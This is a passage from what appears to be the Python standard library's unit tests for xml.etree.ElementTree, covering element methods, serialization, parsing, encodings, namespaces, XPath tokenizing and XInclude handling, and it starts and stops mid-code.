self.assertTrue(hasattr(element, "tag"), msg="no tag member") self.assertTrue(hasattr(element, "attrib"), msg="no attrib member") self.assertTrue(hasattr(element, "text"), msg="no text member") self.assertTrue(hasattr(element, "tail"), msg="no tail member") check_string(element.tag) check_mapping(element.attrib) if element.text is not None: check_string(element.text) if element.tail is not None: check_string(element.tail) for elem in element: check_element(elem) element = ET.Element("tag") check_element(element) tree = ET.ElementTree(element) check_element(tree.getroot()) element = ET.Element("t\xe4g", key="value") tree = ET.ElementTree(element) self.assertRegex(repr(element), r"^<Element 't\xe4g' at 0x.*>$") element = ET.Element("tag", key="value") # Make sure all standard element methods exist. def check_method(method): self.assertTrue(hasattr(method, '__call__'), msg="%s not callable" % method) check_method(element.append) check_method(element.extend) check_method(element.insert) check_method(element.remove) check_method(element.getchildren) check_method(element.find) check_method(element.iterfind) check_method(element.findall) check_method(element.findtext) check_method(element.clear) check_method(element.get) check_method(element.set) check_method(element.keys) check_method(element.items) check_method(element.iter) check_method(element.itertext) check_method(element.getiterator) # These methods return an iterable. See bug 6472. def check_iter(it): check_method(it.__next__) check_iter(element.iterfind("tag")) check_iter(element.iterfind("*")) check_iter(tree.iterfind("tag")) check_iter(tree.iterfind("*")) # These aliases are provided: self.assertEqual(ET.XML, ET.fromstring) self.assertEqual(ET.PI, ET.ProcessingInstruction) self.assertEqual(ET.XMLParser, ET.XMLTreeBuilder) def test_simpleops(self): # Basic method sanity checks. elem = ET.XML("<body><tag/></body>") self.serialize_check(elem, '<body><tag /></body>') e = ET.Element("tag2") elem.append(e) self.serialize_check(elem, '<body><tag /><tag2 /></body>') elem.remove(e) self.serialize_check(elem, '<body><tag /></body>') elem.insert(0, e) self.serialize_check(elem, '<body><tag2 /><tag /></body>') elem.remove(e) elem.extend([e]) self.serialize_check(elem, '<body><tag /><tag2 /></body>') elem.remove(e) element = ET.Element("tag", key="value") self.serialize_check(element, '<tag key="value" />') # 1 subelement = ET.Element("subtag") element.append(subelement) self.serialize_check(element, '<tag key="value"><subtag /></tag>') # 2 element.insert(0, subelement) self.serialize_check(element, '<tag key="value"><subtag /><subtag /></tag>') # 3 element.remove(subelement) self.serialize_check(element, '<tag key="value"><subtag /></tag>') # 4 element.remove(subelement) self.serialize_check(element, '<tag key="value" />') # 5 with self.assertRaises(ValueError) as cm: element.remove(subelement) self.assertEqual(str(cm.exception), 'list.remove(x): x not in list') self.serialize_check(element, '<tag key="value" />') # 6 element[0:0] = [subelement, subelement, subelement] self.serialize_check(element[1], '<subtag />') self.assertEqual(element[1:9], [element[1], element[2]]) self.assertEqual(element[:9:2], [element[0], element[2]]) del element[1:2] self.serialize_check(element, '<tag key="value"><subtag /><subtag /></tag>') def test_cdata(self): # Test CDATA handling (etc). self.serialize_check(ET.XML("<tag>hello</tag>"), '<tag>hello</tag>') self.serialize_check(ET.XML("<tag>&#104;&#101;&#108;&#108;&#111;</tag>"), '<tag>hello</tag>') self.serialize_check(ET.XML("<tag><![CDATA[hello]]></tag>"), '<tag>hello</tag>') def test_file_init(self): stringfile = io.BytesIO(SAMPLE_XML.encode("utf-8")) tree = ET.ElementTree(file=stringfile) self.assertEqual(tree.find("tag").tag, 'tag') self.assertEqual(tree.find("section/tag").tag, 'tag') tree = ET.ElementTree(file=SIMPLE_XMLFILE) self.assertEqual(tree.find("element").tag, 'element') self.assertEqual(tree.find("element/../empty-element").tag, 'empty-element') def test_path_cache(self): # Check that the path cache behaves sanely. from xml.etree import ElementPath elem = ET.XML(SAMPLE_XML) for i in range(10): ET.ElementTree(elem).find('./'+str(i)) cache_len_10 = len(ElementPath._cache) for i in range(10): ET.ElementTree(elem).find('./'+str(i)) self.assertEqual(len(ElementPath._cache), cache_len_10) for i in range(20): ET.ElementTree(elem).find('./'+str(i)) self.assertGreater(len(ElementPath._cache), cache_len_10) for i in range(600): ET.ElementTree(elem).find('./'+str(i)) self.assertLess(len(ElementPath._cache), 500) def test_copy(self): # Test copy handling (etc). import copy e1 = ET.XML("<tag>hello<foo/></tag>") e2 = copy.copy(e1) e3 = copy.deepcopy(e1) e1.find("foo").tag = "bar" self.serialize_check(e1, '<tag>hello<bar /></tag>') self.serialize_check(e2, '<tag>hello<bar /></tag>') self.serialize_check(e3, '<tag>hello<foo /></tag>') def test_attrib(self): # Test attribute handling. elem = ET.Element("tag") elem.get("key") # 1.1 self.assertEqual(elem.get("key", "default"), 'default') # 1.2 elem.set("key", "value") self.assertEqual(elem.get("key"), 'value') # 1.3 elem = ET.Element("tag", key="value") self.assertEqual(elem.get("key"), 'value') # 2.1 self.assertEqual(elem.attrib, {'key': 'value'}) # 2.2 attrib = {"key": "value"} elem = ET.Element("tag", attrib) attrib.clear() # check for aliasing issues self.assertEqual(elem.get("key"), 'value') # 3.1 self.assertEqual(elem.attrib, {'key': 'value'}) # 3.2 attrib = {"key": "value"} elem = ET.Element("tag", **attrib) attrib.clear() # check for aliasing issues self.assertEqual(elem.get("key"), 'value') # 4.1 self.assertEqual(elem.attrib, {'key': 'value'}) # 4.2 elem = ET.Element("tag", {"key": "other"}, key="value") self.assertEqual(elem.get("key"), 'value') # 5.1 self.assertEqual(elem.attrib, {'key': 'value'}) # 5.2 elem = ET.Element('test') elem.text = "aa" elem.set('testa', 'testval') elem.set('testb', 'test2') self.assertEqual(ET.tostring(elem), b'<test testa="testval" testb="test2">aa</test>') self.assertEqual(sorted(elem.keys()), ['testa', 'testb']) self.assertEqual(sorted(elem.items()), [('testa', 'testval'), ('testb', 'test2')]) self.assertEqual(elem.attrib['testb'], 'test2') elem.attrib['testb'] = 'test1' elem.attrib['testc'] = 'test2' self.assertEqual(ET.tostring(elem), b'<test testa="testval" testb="test1" testc="test2">aa</test>') def test_makeelement(self): # Test makeelement handling. elem = ET.Element("tag") attrib = {"key": "value"} subelem = elem.makeelement("subtag", attrib) self.assertIsNot(subelem.attrib, attrib, msg="attrib aliasing") elem.append(subelem) self.serialize_check(elem, '<tag><subtag key="value" /></tag>') elem.clear() self.serialize_check(elem, '<tag />') elem.append(subelem) self.serialize_check(elem, '<tag><subtag key="value" /></tag>') elem.extend([subelem, subelem]) self.serialize_check(elem, '<tag><subtag key="value" /><subtag key="value" /><subtag key="value" /></tag>') elem[:] = [subelem] self.serialize_check(elem, '<tag><subtag key="value" /></tag>') elem[:] = tuple([subelem]) self.serialize_check(elem, '<tag><subtag key="value" /></tag>') def test_parsefile(self): # Test parsing from file. tree = ET.parse(SIMPLE_XMLFILE) stream = io.StringIO() tree.write(stream, encoding='unicode') self.assertEqual(stream.getvalue(), '<root>\n' ' <element key="value">text</element>\n' ' <element>text</element>tail\n' ' <empty-element />\n' '</root>') tree = ET.parse(SIMPLE_NS_XMLFILE) stream = io.StringIO() tree.write(stream, encoding='unicode') self.assertEqual(stream.getvalue(), '<ns0:root xmlns:ns0="namespace">\n' ' <ns0:element key="value">text</ns0:element>\n' ' <ns0:element>text</ns0:element>tail\n' ' <ns0:empty-element />\n' '</ns0:root>') with open(SIMPLE_XMLFILE) as f: data = f.read() parser = ET.XMLParser() self.assertRegex(parser.version, r'^Expat ') parser.feed(data) self.serialize_check(parser.close(), '<root>\n' ' <element key="value">text</element>\n' ' <element>text</element>tail\n' ' <empty-element />\n' '</root>') parser = ET.XMLTreeBuilder() # 1.2 compatibility parser.feed(data) self.serialize_check(parser.close(), '<root>\n' ' <element key="value">text</element>\n' ' <element>text</element>tail\n' ' <empty-element />\n' '</root>') target = ET.TreeBuilder() parser = ET.XMLParser(target=target) parser.feed(data) self.serialize_check(parser.close(), '<root>\n' ' <element key="value">text</element>\n' ' <element>text</element>tail\n' ' <empty-element />\n' '</root>') def test_parseliteral(self): element = ET.XML("<html><body>text</body></html>") self.assertEqual(ET.tostring(element, encoding='unicode'), '<html><body>text</body></html>') element = ET.fromstring("<html><body>text</body></html>") self.assertEqual(ET.tostring(element, encoding='unicode'), '<html><body>text</body></html>') sequence = ["<html><body>", "text</bo", "dy></html>"] element = ET.fromstringlist(sequence) self.assertEqual(ET.tostring(element), b'<html><body>text</body></html>') self.assertEqual(b"".join(ET.tostringlist(element)), b'<html><body>text</body></html>') self.assertEqual(ET.tostring(element, "ascii"), b"<?xml version='1.0' encoding='ascii'?>\n" b"<html><body>text</body></html>") _, ids = ET.XMLID("<html><body>text</body></html>") self.assertEqual(len(ids), 0) _, ids = ET.XMLID("<html><body id='body'>text</body></html>") self.assertEqual(len(ids), 1) self.assertEqual(ids["body"].tag, 'body') def test_iterparse(self): # Test iterparse interface. iterparse = ET.iterparse context = iterparse(SIMPLE_XMLFILE) action, elem = next(context) self.assertEqual((action, elem.tag), ('end', 'element')) self.assertEqual([(action, elem.tag) for action, elem in context], [ ('end', 'element'), ('end', 'empty-element'), ('end', 'root'), ]) self.assertEqual(context.root.tag, 'root') context = iterparse(SIMPLE_NS_XMLFILE) self.assertEqual([(action, elem.tag) for action, elem in context], [ ('end', '{namespace}element'), ('end', '{namespace}element'), ('end', '{namespace}empty-element'), ('end', '{namespace}root'), ]) events = () context = iterparse(SIMPLE_XMLFILE, events) self.assertEqual([(action, elem.tag) for action, elem in context], []) events = () context = iterparse(SIMPLE_XMLFILE, events=events) self.assertEqual([(action, elem.tag) for action, elem in context], []) events = ("start", "end") context = iterparse(SIMPLE_XMLFILE, events) self.assertEqual([(action, elem.tag) for action, elem in context], [ ('start', 'root'), ('start', 'element'), ('end', 'element'), ('start', 'element'), ('end', 'element'), ('start', 'empty-element'), ('end', 'empty-element'), ('end', 'root'), ]) events = ("start", "end", "start-ns", "end-ns") context = iterparse(SIMPLE_NS_XMLFILE, events) self.assertEqual([(action, elem.tag) if action in ("start", "end") else (action, elem) for action, elem in context], [ ('start-ns', ('', 'namespace')), ('start', '{namespace}root'), ('start', '{namespace}element'), ('end', '{namespace}element'), ('start', '{namespace}element'), ('end', '{namespace}element'), ('start', '{namespace}empty-element'), ('end', '{namespace}empty-element'), ('end', '{namespace}root'), ('end-ns', None), ]) events = ('start-ns', 'end-ns') context = iterparse(io.StringIO(r"<root xmlns=''/>"), events) res = [action for action, elem in context] self.assertEqual(res, ['start-ns', 'end-ns']) events = ("start", "end", "bogus") with self.assertRaises(ValueError) as cm: with open(SIMPLE_XMLFILE, "rb") as f: iterparse(f, events) self.assertEqual(str(cm.exception), "unknown event 'bogus'") source = io.BytesIO( b"<?xml version='1.0' encoding='iso-8859-1'?>\n" b"<body xmlns='http://&#233;ffbot.org/ns'\n" b" xmlns:cl\xe9='http://effbot.org/ns'>text</body>\n") events = ("start-ns",) context = iterparse(source, events) self.assertEqual([(action, elem) for action, elem in context], [ ('start-ns', ('', 'http://\xe9ffbot.org/ns')), ('start-ns', ('cl\xe9', 'http://effbot.org/ns')), ]) source = io.StringIO("<document />junk") it = iterparse(source) action, elem = next(it) self.assertEqual((action, elem.tag), ('end', 'document')) with self.assertRaises(ET.ParseError) as cm: next(it) self.assertEqual(str(cm.exception), 'junk after document element: line 1, column 12') def test_writefile(self): elem = ET.Element("tag") elem.text = "text" self.serialize_check(elem, '<tag>text</tag>') ET.SubElement(elem, "subtag").text = "subtext" self.serialize_check(elem, '<tag>text<subtag>subtext</subtag></tag>') # Test tag suppression elem.tag = None self.serialize_check(elem, 'text<subtag>subtext</subtag>') elem.insert(0, ET.Comment("comment")) self.serialize_check(elem, 'text<!--comment--><subtag>subtext</subtag>') # assumes 1.3 elem[0] = ET.PI("key", "value") self.serialize_check(elem, 'text<?key value?><subtag>subtext</subtag>') def test_custom_builder(self): # Test parser w. custom builder. with open(SIMPLE_XMLFILE) as f: data = f.read() class Builder(list): def start(self, tag, attrib): self.append(("start", tag)) def end(self, tag): self.append(("end", tag)) def data(self, text): pass builder = Builder() parser = ET.XMLParser(target=builder) parser.feed(data) self.assertEqual(builder, [ ('start', 'root'), ('start', 'element'), ('end', 'element'), ('start', 'element'), ('end', 'element'), ('start', 'empty-element'), ('end', 'empty-element'), ('end', 'root'), ]) with open(SIMPLE_NS_XMLFILE) as f: data = f.read() class Builder(list): def start(self, tag, attrib): self.append(("start", tag)) def end(self, tag): self.append(("end", tag)) def data(self, text): pass def pi(self, target, data): self.append(("pi", target, data)) def comment(self, data): self.append(("comment", data)) builder = Builder() parser = ET.XMLParser(target=builder) parser.feed(data) self.assertEqual(builder, [ ('pi', 'pi', 'data'), ('comment', ' comment '), ('start', '{namespace}root'), ('start', '{namespace}element'), ('end', '{namespace}element'), ('start', '{namespace}element'), ('end', '{namespace}element'), ('start', '{namespace}empty-element'), ('end', '{namespace}empty-element'), ('end', '{namespace}root'), ]) def test_getchildren(self): # Test Element.getchildren() with open(SIMPLE_XMLFILE, "rb") as f: tree = ET.parse(f) self.assertEqual([summarize_list(elem.getchildren()) for elem in tree.getroot().iter()], [ ['element', 'element', 'empty-element'], [], [], [], ]) self.assertEqual([summarize_list(elem.getchildren()) for elem in tree.getiterator()], [ ['element', 'element', 'empty-element'], [], [], [], ]) elem = ET.XML(SAMPLE_XML) self.assertEqual(len(elem.getchildren()), 3) self.assertEqual(len(elem[2].getchildren()), 1) self.assertEqual(elem[:], elem.getchildren()) child1 = elem[0] child2 = elem[2] del elem[1:2] self.assertEqual(len(elem.getchildren()), 2) self.assertEqual(child1, elem[0]) self.assertEqual(child2, elem[1]) elem[0:2] = [child2, child1] self.assertEqual(child2, elem[0]) self.assertEqual(child1, elem[1]) self.assertNotEqual(child1, elem[0]) elem.clear() self.assertEqual(elem.getchildren(), []) def test_writestring(self): elem = ET.XML("<html><body>text</body></html>") self.assertEqual(ET.tostring(elem), b'<html><body>text</body></html>') elem = ET.fromstring("<html><body>text</body></html>") self.assertEqual(ET.tostring(elem), b'<html><body>text</body></html>') def test_encoding(self): def check(encoding, body=''): xml = ("<?xml version='1.0' encoding='%s'?><xml>%s</xml>" % (encoding, body)) self.assertEqual(ET.XML(xml.encode(encoding)).text, body) self.assertEqual(ET.XML(xml).text, body) check("ascii", 'a') check("us-ascii", 'a') check("iso-8859-1", '\xbd') check("iso-8859-15", '\u20ac') check("cp437", '\u221a') check("mac-roman", '\u02da') def xml(encoding): return "<?xml version='1.0' encoding='%s'?><xml />" % encoding def bxml(encoding): return xml(encoding).encode(encoding) supported_encodings = [ 'ascii', 'utf-8', 'utf-8-sig', 'utf-16', 'utf-16be', 'utf-16le', 'iso8859-1', 'iso8859-2', 'iso8859-3', 'iso8859-4', 'iso8859-5', 'iso8859-6', 'iso8859-7', 'iso8859-8', 'iso8859-9', 'iso8859-10', 'iso8859-13', 'iso8859-14', 'iso8859-15', 'iso8859-16', 'cp437', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp856', 'cp857', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp865', 'cp866', 'cp869', 'cp874', 'cp1006', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', 'cp1257', 'cp1258', 'mac-cyrillic', 'mac-greek', 'mac-iceland', 'mac-latin2', 'mac-roman', 'mac-turkish', 'iso2022-jp', 'iso2022-jp-1', 'iso2022-jp-2', 'iso2022-jp-2004', 'iso2022-jp-3', 'iso2022-jp-ext', 'koi8-r', 'koi8-u', 'hz', 'ptcp154', ] for encoding in supported_encodings: self.assertEqual(ET.tostring(ET.XML(bxml(encoding))), b'<xml />') unsupported_ascii_compatible_encodings = [ 'big5', 'big5hkscs', 'cp932', 'cp949', 'cp950', 'euc-jp', 'euc-jis-2004', 'euc-jisx0213', 'euc-kr', 'gb2312', 'gbk', 'gb18030', 'iso2022-kr', 'johab', 'shift-jis', 'shift-jis-2004', 'shift-jisx0213', 'utf-7', ] for encoding in unsupported_ascii_compatible_encodings: self.assertRaises(ValueError, ET.XML, bxml(encoding)) unsupported_ascii_incompatible_encodings = [ 'cp037', 'cp424', 'cp500', 'cp864', 'cp875', 'cp1026', 'cp1140', 'utf_32', 'utf_32_be', 'utf_32_le', ] for encoding in unsupported_ascii_incompatible_encodings: self.assertRaises(ET.ParseError, ET.XML, bxml(encoding)) self.assertRaises(ValueError, ET.XML, xml('undefined').encode('ascii')) self.assertRaises(LookupError, ET.XML, xml('xxx').encode('ascii')) def test_methods(self): # Test serialization methods. e = ET.XML("<html><link/><script>1 &lt; 2</script></html>") e.tail = "\n" self.assertEqual(serialize(e), '<html><link /><script>1 &lt; 2</script></html>\n') self.assertEqual(serialize(e, method=None), '<html><link /><script>1 &lt; 2</script></html>\n') self.assertEqual(serialize(e, method="xml"), '<html><link /><script>1 &lt; 2</script></html>\n') self.assertEqual(serialize(e, method="html"), '<html><link><script>1 < 2</script></html>\n') self.assertEqual(serialize(e, method="text"), '1 < 2\n') def test_issue18347(self): e = ET.XML('<html><CamelCase>text</CamelCase></html>') self.assertEqual(serialize(e), '<html><CamelCase>text</CamelCase></html>') self.assertEqual(serialize(e, method="html"), '<html><CamelCase>text</CamelCase></html>') def test_entity(self): # Test entity handling. # 1) good entities e = ET.XML("<document title='&#x8230;'>test</document>") self.assertEqual(serialize(e, encoding="us-ascii"), b'<document title="&#33328;">test</document>') self.serialize_check(e, '<document title="\u8230">test</document>') # 2) bad entities with self.assertRaises(ET.ParseError) as cm: ET.XML("<document>&entity;</document>") self.assertEqual(str(cm.exception), 'undefined entity: line 1, column 10') with self.assertRaises(ET.ParseError) as cm: ET.XML(ENTITY_XML) self.assertEqual(str(cm.exception), 'undefined entity &entity;: line 5, column 10') # 3) custom entity parser = ET.XMLParser() parser.entity["entity"] = "text" parser.feed(ENTITY_XML) root = parser.close() self.serialize_check(root, '<document>text</document>') def test_namespace(self): # Test namespace issues. # 1) xml namespace elem = ET.XML("<tag xml:lang='en' />") self.serialize_check(elem, '<tag xml:lang="en" />') # 1.1 # 2) other "well-known" namespaces elem = ET.XML("<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#' />") self.serialize_check(elem, '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" />') # 2.1 elem = ET.XML("<html:html xmlns:html='http://www.w3.org/1999/xhtml' />") self.serialize_check(elem, '<html:html xmlns:html="http://www.w3.org/1999/xhtml" />') # 2.2 elem = ET.XML("<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope' />") self.serialize_check(elem, '<ns0:Envelope xmlns:ns0="http://schemas.xmlsoap.org/soap/envelope" />') # 2.3 # 3) unknown namespaces elem = ET.XML(SAMPLE_XML_NS) self.serialize_check(elem, '<ns0:body xmlns:ns0="http://effbot.org/ns">\n' ' <ns0:tag>text</ns0:tag>\n' ' <ns0:tag />\n' ' <ns0:section>\n' ' <ns0:tag>subtext</ns0:tag>\n' ' </ns0:section>\n' '</ns0:body>') def test_qname(self): # Test QName handling. # 1) decorated tags elem = ET.Element("{uri}tag") self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" />') # 1.1 elem = ET.Element(ET.QName("{uri}tag")) self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" />') # 1.2 elem = ET.Element(ET.QName("uri", "tag")) self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" />') # 1.3 elem = ET.Element(ET.QName("uri", "tag")) subelem = ET.SubElement(elem, ET.QName("uri", "tag1")) subelem = ET.SubElement(elem, ET.QName("uri", "tag2")) self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri"><ns0:tag1 /><ns0:tag2 /></ns0:tag>') # 1.4 # 2) decorated attributes elem.clear() elem.attrib["{uri}key"] = "value" self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" ns0:key="value" />') # 2.1 elem.clear() elem.attrib[ET.QName("{uri}key")] = "value" self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" ns0:key="value" />') # 2.2 # 3) decorated values are not converted by default, but the # QName wrapper can be used for values elem.clear() elem.attrib["{uri}key"] = "{uri}value" self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" ns0:key="{uri}value" />') # 3.1 elem.clear() elem.attrib["{uri}key"] = ET.QName("{uri}value") self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" ns0:key="ns0:value" />') # 3.2 elem.clear() subelem = ET.Element("tag") subelem.attrib["{uri1}key"] = ET.QName("{uri2}value") elem.append(subelem) elem.append(subelem) self.serialize_check(elem, '<ns0:tag xmlns:ns0="uri" xmlns:ns1="uri1" xmlns:ns2="uri2">' '<tag ns1:key="ns2:value" />' '<tag ns1:key="ns2:value" />' '</ns0:tag>') # 3.3 # 4) Direct QName tests self.assertEqual(str(ET.QName('ns', 'tag')), '{ns}tag') self.assertEqual(str(ET.QName('{ns}tag')), '{ns}tag') q1 = ET.QName('ns', 'tag') q2 = ET.QName('ns', 'tag') self.assertEqual(q1, q2) q2 = ET.QName('ns', 'other-tag') self.assertNotEqual(q1, q2) self.assertNotEqual(q1, 'ns:tag') self.assertEqual(q1, '{ns}tag') def test_doctype_public(self): # Test PUBLIC doctype. elem = ET.XML('<!DOCTYPE html PUBLIC' ' "-//W3C//DTD XHTML 1.0 Transitional//EN"' ' "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' '<html>text</html>') def test_xpath_tokenizer(self): # Test the XPath tokenizer. from xml.etree import ElementPath def check(p, expected): self.assertEqual([op or tag for op, tag in ElementPath.xpath_tokenizer(p)], expected) # tests from the xml specification check("*", ['*']) check("text()", ['text', '()']) check("@name", ['@', 'name']) check("@*", ['@', '*']) check("para[1]", ['para', '[', '1', ']']) check("para[last()]", ['para', '[', 'last', '()', ']']) check("*/para", ['*', '/', 'para']) check("/doc/chapter[5]/section[2]", ['/', 'doc', '/', 'chapter', '[', '5', ']', '/', 'section', '[', '2', ']']) check("chapter//para", ['chapter', '//', 'para']) check("//para", ['//', 'para']) check("//olist/item", ['//', 'olist', '/', 'item']) check(".", ['.']) check(".//para", ['.', '//', 'para']) check("..", ['..']) check("../@lang", ['..', '/', '@', 'lang']) check("chapter[title]", ['chapter', '[', 'title', ']']) check("employee[@secretary and @assistant]", ['employee', '[', '@', 'secretary', '', 'and', '', '@', 'assistant', ']']) # additional tests check("{http://spam}egg", ['{http://spam}egg']) check("./spam.egg", ['.', '/', 'spam.egg']) check(".//{http://spam}egg", ['.', '//', '{http://spam}egg']) def test_processinginstruction(self): # Test ProcessingInstruction directly self.assertEqual(ET.tostring(ET.ProcessingInstruction('test', 'instruction')), b'<?test instruction?>') self.assertEqual(ET.tostring(ET.PI('test', 'instruction')), b'<?test instruction?>') # Issue #2746 self.assertEqual(ET.tostring(ET.PI('test', '<testing&>')), b'<?test <testing&>?>') self.assertEqual(ET.tostring(ET.PI('test', '<testing&>\xe3'), 'latin-1'), b"<?xml version='1.0' encoding='latin-1'?>\n" b"<?test <testing&>\xe3?>") def test_html_empty_elems_serialization(self): # issue 15970 # from http://www.w3.org/TR/html401/index/elements.html for element in ['AREA', 'BASE', 'BASEFONT', 'BR', 'COL', 'FRAME', 'HR', 'IMG', 'INPUT', 'ISINDEX', 'LINK', 'META', 'PARAM']: for elem in [element, element.lower()]: expected = '<%s>' % elem serialized = serialize(ET.XML('<%s />' % elem), method='html') self.assertEqual(serialized, expected) serialized = serialize(ET.XML('<%s></%s>' % (elem,elem)), method='html') self.assertEqual(serialized, expected) # # xinclude tests (samples from appendix C of the xinclude specification) XINCLUDE = {} XINCLUDE["C1.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>120 Mz is adequate for an average home user.</p> <xi:include href="disclaimer.xml"/> </document> """ XINCLUDE["disclaimer.xml"] = """\ <?xml version='1.0'?> <disclaimer> <p>The opinions represented herein represent those of the individual and should not be interpreted as official policy endorsed by this organization.</p> </disclaimer> """ XINCLUDE["C2.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>This document has been accessed <xi:include href="count.txt" parse="text"/> times.</p> </document> """ XINCLUDE["count.txt"] = "324387" XINCLUDE["C2b.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>This document has been <em>accessed</em> <xi:include href="count.txt" parse="text"/> times.</p> </document> """ XINCLUDE["C3.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>The following is the source of the "data.xml" resource:</p> <example><xi:include href="data.xml" parse="text"/></example> </document> """ XINCLUDE["data.xml"] = """\ <?xml version='1.0'?> <data> <item><![CDATA[Brooks & Shields]]></item> </data> """ XINCLUDE["C5.xml"] = """\ <?xml version='1.0'?> <div xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="example.txt" parse="text"> <xi:fallback> <xi:include href="fallback-example.txt" parse="text"> <xi:fallback><a href="mailto:bob@example.org">Report error</a></xi:fallback> </xi:include> </xi:fallback> </xi:include> </div> """ XINCLUDE["default.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>Example.</p> <xi:include href="{}"/> </document> """.format(html.escape(SIMPLE_XMLFILE, True)) # # badly formatted xi:include tags XINCLUDE_BAD = {} XINCLUDE_BAD["B1.xml"] = """\ <?xml version='1.0'?> <document xmlns:xi="http://www.w3.org/2001/XInclude"> <p>120 Mz is adequate for an average home user.</p> <xi:include href="disclaimer.xml" parse="BAD_TYPE"/> </document> """ XINCLUDE_BAD["B2.xml"] = """\ <?xml version='1.0'?> <div xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:fallback></xi:fallback> </div> """ class XIncludeTest(unittest.TestCase): def xinclude_loader(self, href, parse="xml", encoding=None): try: data = XINCLUDE[href] except KeyError: raise OSError("resource not found") if parse == "xml": data = ET.XML(data) return data def none_loader(self, href, parser, encoding=None): return None def _my_loader(self, href, parse): # Used to avoid a test-dependency problem where the default loader # of ElementInclude uses the pyET parser for cET tests. if parse == 'xml': with open(href, 'rb') as f: return ET.parse(f).getroot() else: return None def test_xinclude_default(self): from xml.etree import ElementInclude doc = self.xinclude_loader('default.xml') ElementInclude.include(doc, self._my_loader) self.assertEqual(serialize(doc), '<document>\n' ' <p>Example.</p>\n' ' <root>\n' ' <element key="value">text</element>\n' ' <element>text</element>tail\n' ' <empty-element />\n' '</root>\n' '</document>') def test_xinclude(self): from xml.etree import ElementInclude # Basic inclusion example (XInclude C.1) document = self.xinclude_loader("C1.xml") ElementInclude.include(document, self.xinclude_loader) self.assertEqual(serialize(document), '<document>\n' ' <p>120 Mz is adequate for an average home user.</p>\n' ' <disclaimer>\n' ' <p>The opinions represented herein represent those of the individual\n' ' and should not be interpreted as official policy endorsed by this\n' ' organization.</p>\n' '</disclaimer>\n' '</document>') # C1 # Textual inclusion example (XInclude C.2) document = self.xinclude_loader("C2.xml") ElementInclude.include(document, self.xinclude_loader) self.assertEqual(serialize(document), '<document>\n' ' <p>This document has been accessed\n' ' 324387 times.</p>\n' '</document>') # C2 # Textual inclusion after sibling element (based on modified XInclude C.2) document = self.xinclude_loader("C2b.xml") ElementInclude.include(document, self.xinclude_loader) self.assertEqual(serialize(document), '<document>\n' ' <p>This document has been <em>accessed</em>\n' ' 324387 times.</p>\n' '</document>') # C2b # Textual inclusion of XML example (XInclude C.3) document = self.xinclude_loader("C3.xml") ElementInclude.include(document, self.xinclude_loader) self.assertEqual(serialize(document), '<document>\n' ' <p>The following is the source of the "data.xml" resource:</p>\n' " <example>&lt;?xml version='1.0'?&gt;\n" '&lt;data&gt;\n' ' &lt;item&gt;&lt;![CDATA[Brooks &amp; Shields]]&gt;&lt;/item&gt;\n' '&lt;/data&gt;\n' '</example>\n' '</document>') # C3 # Fallback example (XInclude C.5) # Note! Fallback support is not yet implemented document = self.xinclude_loader("C5.xml") with self.assertRaises(OSError) as cm: ElementInclude.include(document, self.xinclude_loader) self.assertEqual(str(cm.exception), 'resource not found') self.assertEqual(serialize(document), '<div xmlns:ns0="http://www.w3.org/2001/XInclude">\n' ' <ns0:include href="example.txt" parse="text">\n' ' <ns0:fallback>\n' ' <ns0:include href="fallback-example.txt" parse="text">\n' ' <ns0:fallback><a href="mailto:bob@example.org">Report error</a></ns0:fallback>\n' ' </ns0:include>\n' ' </ns0:fallback>\n' ' </ns0:include>\n' '</div>') # C5 def test_xinclude_failures(self): from xml.etree import ElementInclude # Test failure to locate included XML file. document = ET.XML(XINCLUDE["C1.xml"]) with self.assertRaises(ElementInclude.FatalIncludeError) as cm: ElementInclude.include(document, loader=self.none_loader) self.assertEqual(str(cm.exception), "cannot load 'disclaimer.xml' as 'xml'") # Test failure to locate included text file. document = ET.XML(XINCLUDE["C2.xml"]) with self.assertRaises(ElementInclude.FatalIncludeError) as cm: ElementInclude.include(document, loader=self.none_loader) self.assertEqual(str(cm.exception), "cannot load 'count.txt' as 'text'") # Test bad parse type. document = ET.XML(XINCLUDE_BAD["B1.xml"]) with self.assertRaises(ElementInclude.FatalIncludeError) as cm: ElementInclude.include(document, loader=self.none_loader) self.assertEqual(str(cm.exception), "unknown parse type in xi:include tag ('BAD_TYPE')") # Test xi:fallback outside xi:include. document = ET.XML(XINCLUDE_BAD["B2.xml"]) with self.assertRaises(ElementInclude.FatalIncludeError) as cm: ElementInclude.include(document, loader=self.none_loader) self.assertEqual(str(cm.exception), "xi:fallback tag must be child of xi:include " "('{http://www.w3.org/2001/XInclude}fallback')") # -------------------------------------------------------------------- # reported bugs class BugsTest(unittest.TestCase): def test_bug_xmltoolkit21(self): # marshaller gives obscure errors for non-string values def check(elem): with self.assertRaises(TypeError) as cm: serialize(elem) self.assertEqual(str(cm.exception), 'cannot serialize 123 (type int)') elem = ET.Element(123) check(elem) # tag elem = ET.Element("elem") elem.text = 123 check(elem) # text elem = ET.Element("elem") elem.tail = 123 check(elem) # tail elem = ET.Element("elem") elem.set(123, "123") check(elem) # attribute key elem = ET.Element("elem") elem.set("123", 123) 